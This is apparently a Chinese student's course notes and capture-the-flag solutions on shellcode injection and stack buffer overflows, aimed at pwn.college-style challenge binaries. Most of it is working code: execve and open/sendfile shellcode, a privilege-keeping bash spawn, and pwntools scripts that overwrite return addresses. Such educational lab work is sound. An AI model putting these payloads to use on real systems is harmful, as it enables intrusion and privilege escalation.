shellcode injection

课程

.global _start
_start:
.intel_syntax noprefix
        mov rax, 59             #execve
        lea rdi, [rip+binsh]    #point /bin/sh
        mov rsi, 0
        mov rdx, 0
        syscall
binsh:
        .string "/bin/sh"

编译

gcc -nostdlib -static shellcode.s -o shellcode-elf

调试

strace ./shellcode-elf

用于pwn

objcopy --dump-section .text=shellcode-raw shellcode-elf

对于其他架构的shellcode

amd64: gcc -nostdlib -static shellcode.s -o shellcode-elf

mips: mips-linux-gnu-gcc -nostdlib shellcode-mips.s -o shellcode-mips-elf

跨架构

amd64: ./shellcode
mips: qemu-mips-static ./shellcode-mips

有用的qemu操作

-strace 
-g 1234 远程gdb调试

在进行代码注入的时候,通常会出现一些情况(ban掉一些特殊的字节)

  1. 某些字节被禁止,导致一些函数功能异常

    image-20230829194734603

  2. 将shellcode变得有创造性一点,等价代换

    image-20230829232106022

  3. 尝试,尝试,接着尝试

image-20230829232554888

一些好用的工具

image-20230829233319840

如何在有内存保护的程序中执行shellcode?

  1. 将我们的shellcode 代入到 mprotect()这个系统调用中

  2. 跳转到改shellcode

oj

0x01 ORW

在suid程序中,如果使用`execve`函数执行一个shell,那么shell进程不会继承suid属性。当一个程序被设置为suid(Set User ID)属性后,当普通用户执行该程序时,该程序会以文件所有者的权限来执行。然而,当使用`execve`函数执行shell时,新创建的shell进程会继承执行该函数的进程的有效用户ID(effective user ID),而不是继承文件的所有者的权限。
因此,在suid程序中通过`execve`函数执行shell时,shell进程将会以执行该程序的用户的权限来运行,而不是以文件所有者的权限来运行。这是为了确保安全性,避免潜在的权限提升漏洞。
需要注意的是,对于suid程序的设计和实现,需要特别小心,以确保安全性和防止潜在的漏洞。

所以该题需要直接使用shellcode将系统中的flag带出来

.global _start
_start:
.intel_syntax noprefix
        mov rax, 0x2             #open
        lea rdi, [rip+binsh]    #point /bin/sh
        mov rsi, 0
        mov rdx, 0
        syscall  #open("/flag")
        mov rdi, 1
        mov rsi, rax
        mov rdx, 0
        mov r10, 1000
        mov rax, 0x28
        syscall #sendfile(1,fd,0,1000)
binsh:
        .string "/flag"

shell

push 0x{b'h'.hex()}
mov rax, 0x{b'/bin/bas'[::-1].hex()}
push rax
mov rdi, rsp
push 0x{b'-p'[::-1].hex()}
mov rsi, rsp
push 0
push rsi
push rdi
mov rsi, rsp
mov rdx, 0  # NULL
mov rax, SYS_execve
syscall

Memory Errors

缓冲区溢出漏洞常见的函数

image-20230830084604229

我们可以如何利用呢?

image-20230830084751375

ASLR

image-20230830100412794

如何再在本地调试中忽略ASLR

image-20230830101828539

from pwn import *

padding = b'A' * 104
while True:
    x = 0xd4
    p = process('/challenge/babymem_level7.0')
    payload = padding + b'\xce'+p8(x)
    # print(payload)
    p.sendlineafter('size:','106')
    p.sendafter('bytes)!',payload)
    # p.interactive()
    s = p.recvall()
    print(s)
    if b"college" in s:
        print(s)
        break

bypass strlen

from pwn import *
from pwn import *

padding = b'A' * 103
while True:
    x = 0xdf
    p = process('/challenge/babymem_level8.0')
    payload = b'\x00' + padding + b'\xd9'+p8(x)
    # print(payload)
    p.sendlineafter('size:','108')
    p.sendafter('bytes)!',payload)
    # p.interactive()
    s = p.recvall()
    print(s)
    if b"college" in s:
        print(s)
        break

爆破脚本

from pwn import *

padding = b'A' * 103
while True:
    x = 0xd7
    p = process('/challenge/babymem_level8.1')
    payload = b'\x00' + padding + b'\xf2'+p8(x)
    # print(payload)
    p.sendlineafter('size:','108')
    p.sendafter('bytes)!',payload)
    # p.interactive()
    s = p.recvall()
    print(s)
    if b"college" in s:
        print(s)
        break

Program Exploitation

from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
shellcode=asm(shellcraft.sh())

p = process("/challenge/toddlerone_level1.0")
p.sendlineafter("from stdin.",shellcode)

ret = 0x26098000

p.sendlineafter("Payload size:",str(80))
p.sendafter("bytes)!",72*b'a'+ p64(ret))
p.interactive()
from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
p = process("/challenge/toddlerone_level1.1")
shellcode = asm(shellcraft.amd64.linux.cat('/flag'))
p.sendlineafter("stdin.",shellcode)
ret = 0x25841000
#buf 0x7ffe1cfb7270
#ret 0x7ffe1cfb72d8
p.sendlineafter("size:","1000")
p.sendafter("bytes)!",b'a'*104+p64(ret))
p.interactive()

2.0

from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
p = process("/challenge/toddlerone_level2.0")
shellcode = asm(shellcraft.amd64.linux.cat('/flag'))
ret = 0x7fffffffd220

#input 0x7fffffffd230
# 0x7fffffffd2b8
#buf 0x7ffe1cfb7270
#ret 0x7ffe1cfb72d8
p.sendlineafter("size:","1000")
p.sendafter("bytes)!",shellcode + (136-len(shellcode)) * b'a' + p64(ret))
p.interactive()

2.1

from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
p = gdb.debug("/challenge/toddlerone_level2.1")
shellcode_str = f"""
/* push b'/flag\x00' */
    mov rax, 0x101010101010101
    push rax
    mov rax, 0x101010101010101 ^ 0x67616c662f
    xor [rsp], rax
    /* call open('rsp', 'O_RDONLY', 'rdx') */
    push SYS_open /* 2 */
    pop rax
    mov rdi, rsp
    xor esi, esi /* O_RDONLY */
    syscall
    /* call sendfile(1, 'rax', 0, 0x7fffffff) */
    mov r10d, 0x7fffffff
    mov rsi, rax
    push SYS_sendfile /* 0x28 */
    pop rax
    push 1
    pop rdi
    cdq /* rdx=0 */
    syscall
    nop
    nop
    nop
    nop
    nop
    nop
    nop
"""
shellcode = asm(shellcode_str)
ret = 0x7fffffffd4e0

#input 0x7fffffffd230
# 0x7fffffffd2b8
#buf 0x7ffe1cfb7270
#ret 0x7ffe1cfb72d8

p.sendlineafter("size:","1000")
p.sendafter("bytes)!",shellcode + (72-len(shellcode)) * b'1'  + p64(ret))
p.interactive()
from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
p = process("/challenge/toddlerone_level2.1")
shellcode_str = f"""
/* push b'/flag\x00' */
    mov rax, 0x101010101010101
    push rax
    mov rax, 0x101010101010101 ^ 0x67616c662f
    xor [rsp], rax
    /* call open('rsp', 'O_RDONLY', 'rdx') */
    push SYS_open /* 2 */
    pop rax
    mov rdi, rsp
    xor esi, esi /* O_RDONLY */
    syscall
    /* call sendfile(1, 'rax', 0, 0x7fffffff) */
    mov r10d, 0x7fffffff
    mov rsi, rax
    push SYS_sendfile /* 0x28 */
    pop rax
    push 1
    pop rdi
    cdq /* rdx=0 */
    syscall
    nop
    nop
    nop
    nop
    nop
    nop
    nop
"""
shellcode = asm(shellcode_str)
ret = 0x7fffffffd560

#input 0x7fffffffd230
# 0x7fffffffd2b8
#buf 0x7ffe1cfb7270
#ret 0x7ffe1cfb72d8

p.sendlineafter("size:","1000")
gdb.attach(p)
p.sendafter("bytes)!",shellcode + (72-len(shellcode)) * b'1'  + p64(ret) + shellcode)
p.interactive()